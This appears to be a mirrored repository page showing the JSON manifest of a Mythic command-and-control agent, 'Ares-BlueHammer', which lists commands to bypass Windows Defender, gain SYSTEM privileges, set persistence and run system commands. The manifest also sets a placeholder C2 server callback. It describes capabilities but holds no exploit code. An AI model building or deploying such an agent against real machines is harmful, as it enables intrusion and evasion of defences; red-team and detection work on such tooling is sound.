mirror of
https://github.com/Aryma-f4/Ares-mythic.git
synced 2026-06-13 05:34:11 +00:00
- Use absolute path to pyinstaller executable to avoid PATH issues - Add --clean flag to prevent permission problems with cache - Fix Windows registry path escaping in persistence mechanism - Include generated build artifacts (spec, config, warnings, PYZ toc) - Add base_library.zip for standalone executable distribution
58 lines
1.8 KiB
JSON
58 lines
1.8 KiB
JSON
{
|
|
"name": "Ares-BlueHammer",
|
|
"description": "Windows Defender bypass agent using BlueHammer exploit with SYSTEM privileges and persistence",
|
|
"author": "Ares Team",
|
|
"version": "1.0",
|
|
"mythic_version": "2.3",
|
|
"supported_os": ["windows"],
|
|
"build_parameters": {
|
|
"build_command": "pyinstaller --onefile --console hammer_agent.py",
|
|
"output_directory": "dist"
|
|
},
|
|
"commands": [
|
|
{
|
|
"name": "bypass_defender",
|
|
"description": "Bypass Windows Defender using BlueHammer exploit",
|
|
"version": 1,
|
|
"supported_os": ["windows"],
|
|
"attributes": {
|
|
"needs_admin": false
|
|
}
|
|
},
|
|
{
|
|
"name": "escalate_privileges",
|
|
"description": "Gain SYSTEM privileges using various techniques",
|
|
"version": 1,
|
|
"supported_os": ["windows"],
|
|
"attributes": {
|
|
"needs_admin": false
|
|
}
|
|
},
|
|
{
|
|
"name": "establish_persistence",
|
|
"description": "Establish multiple persistence mechanisms",
|
|
"version": 1,
|
|
"supported_os": ["windows"],
|
|
"attributes": {
|
|
"needs_admin": false
|
|
}
|
|
},
|
|
{
|
|
"name": "execute_command",
|
|
"description": "Execute system command",
|
|
"version": 1,
|
|
"supported_os": ["windows"],
|
|
"attributes": {
|
|
"needs_admin": false
|
|
}
|
|
}
|
|
],
|
|
"build_script": "build.py",
|
|
"deployment_script": "deploy.py",
|
|
"configuration": {
|
|
"mythic_server": "http://your-mythic-server.com:7443",
|
|
"api_key": "your-api-key-here",
|
|
"checkin_interval": 30,
|
|
"temp_directory": "C:\\Windows\\Temp"
|
|
}
|
|
} |